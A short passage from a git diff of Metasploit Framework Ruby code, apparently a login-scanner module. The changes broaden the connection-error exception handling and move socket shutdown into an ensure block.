||||
end
|
||||
rescue Rex::ConnectionError, EOFError, Timeout::Error => e
|
||||
rescue Rex::ConnectionError, Rex::ConnectionProxyError, Errno::ECONNRESET, Errno::EINTR, Errno::ENOTCONN, Rex::TimeoutError, EOFError, Timeout::Error => e
|
||||
result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
rescue Msf::Db::PostgresPR::AuthenticationMethodMismatch => e
|
||||
result_options.merge!({
|
||||
|
||||
@@ -159,8 +159,9 @@ module Metasploit
|
||||
yield result if block_given?
|
||||
end
|
||||
|
||||
shutdown_socket
|
||||
nil
|
||||
ensure
|
||||
shutdown_socket
|
||||
end
|
||||
|
||||
# Queue up and possibly send any requests, based on the queue limit and final flag
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user